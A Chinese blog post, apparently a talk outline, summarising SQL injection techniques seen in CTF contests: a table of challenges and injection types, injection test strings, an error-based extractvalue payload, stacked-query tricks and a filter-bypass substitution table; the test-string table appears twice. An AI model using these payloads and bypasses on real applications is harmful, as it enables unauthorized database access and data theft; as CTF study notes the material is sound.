SQL注入
小交流会的提纲,记录下,没有逻辑可言
今年本人参加的CTF中记录的sql题目,由于可能有多种解,这里列出本人解法仅供参考
比赛-题目名称 | 注入类型 | 详细情况 |
---|---|---|
MTCTF-sql | 盲注 | 布尔型,同表查询 |
国赛CISCN-easy_sql | 盲注,报错 | sqlmap一把梭,布尔型/延时注入/报错注入,最后无列名注入 |
红帽杯-WebsiteManger | 盲注 | 布尔型(异或)/延时注入 |
红明谷-happysql | 盲注 | 布尔型(正则),无列名注入 |
DASCTF三月赛-bestDB | 联合注入 | load_file() |
V&NCTF-realezjvav | 盲注 | 延时注入(笛卡尔积) |
HGAME-200OK! | 联合注入 | 基础SQL注入 |
HGAME-Liki-Jail | 盲注 | 延时注入 |
春秋杯新春欢乐赛-按F注入 | 联合注入 | Pgsql,延时注入(也许)/信息外带/数据库外联 |
打个广告,各比赛的WP,有需要的师傅可以看看
春秋杯2021新春欢乐赛一道题——按F注入 对pgsql的研究
统计了一下今年的SQL注入题目,可能不全,从上表能看出大部分都是盲注,盲注的重要性可想而知。
常用函数
- version()——MySQL版本
- user()——用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
最常用的一般是database()
,有时候注意看user()
,有些题目给的是root用户,需要用load_file()
读文件,下面开始注入准备
测试注入
测试字符串 | 变 种 | 预 期 结 果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
1’ or ‘1’=’1 | 1’) or (‘1’=’1 | 永真条件。如果成功,将返回表中所有的行 |
value’ or ‘1’=’2 | value’) or (‘1’=’2 | 空条件。如果成功,将返回与原来的值相同的结果 |
1’ and ‘1’=’2 | 1’) and (‘1’=’2 | 永假条件。如果成功,将不返回表中任何行 |
1’ or ‘ab’=’a’+’b | 1’) or (‘ab’=’a’+’b | SQL Server字符串连接。如果成功,将返回与永真条件相同的信息 |
1’ or ‘ab’=’a’ ‘b | 1’) or (‘ab’=’a’ ‘b | MySQL字符串连接。如果成功,将返回与永真条件相同的信息 |
1’ or ‘ab’=’a’‖’b | 1’) or (‘ab’=’a’‖’b | Oracle字符串连接。如果成功,将返回与永真条件相同的信息 |
盲注
盲注,就是指执行sql语句后返回值不直接回显到前端页面
过滤情况
过滤select
比较劲爆,如果有回显可以报错注入查出简单信息
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
user()
/database()
/version()
- 但这不行,可以利用堆叠注入绕过过滤
-1';show tables#
然后利用预编译方式查数据
经典题目:2019强网杯-随便注
或者
alter
改表名,然后万能密码登陆出结果(如果可回显的话)据说web端过滤也许可以preg_match回溯限制(有的情况)
同表的话可以同表查询
盲注字段名利用
left(column,0)
当存在字段时返回True
基本过滤
过滤 | 替代方法 |
---|---|
and | & |
or | | |
[空格] | /**/或()或%0a |
# | –+ |
substr() | mid()、substring() |
ascii() | hex()、bin()、ord() |
sleep() | benchmark() |
group_concat() | concat_ws() |
<、> | greatest() |
limit n,m | limit m offset n |
测试字符串 | 变 种 | 预 期 结 果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
1’ or ‘1’=’1 | 1’) or (‘1’=’1 | 永真条件。如果成功,将返回表中所有的行 |
value’ or ‘1’=’2 | value’) or (‘1’=’2 | 空条件。如果成功,将返回与原来的值相同的结果 |
1’ and ‘1’=’2 | 1’) and (‘1’=’2 | 永假条件。如果成功,将不返回表中任何行 |
1’ or ‘ab’=’a’+’b | 1’) or (‘ab’=’a’+’b | SQL Server字符串连接。如果成功,将返回与永真条件相同的信息 |
1’ or ‘ab’=’a’ ‘b | 1’) or (‘ab’=’a’ ‘b | MySQL字符串连接。如果成功,将返回与永真条件相同的信息 |
1’ or ‘ab’=’a’‖’b | 1’) or (‘ab’=’a’‖’b | Oracle字符串连接。如果成功,将返回与永真条件相同的信息 |
移位溢注
知道表名不需要知道字段名,一般没用,能用的时候都能用其他的注出来。
评论请遵守评论公德,博主会不定时检查评论并进行回复。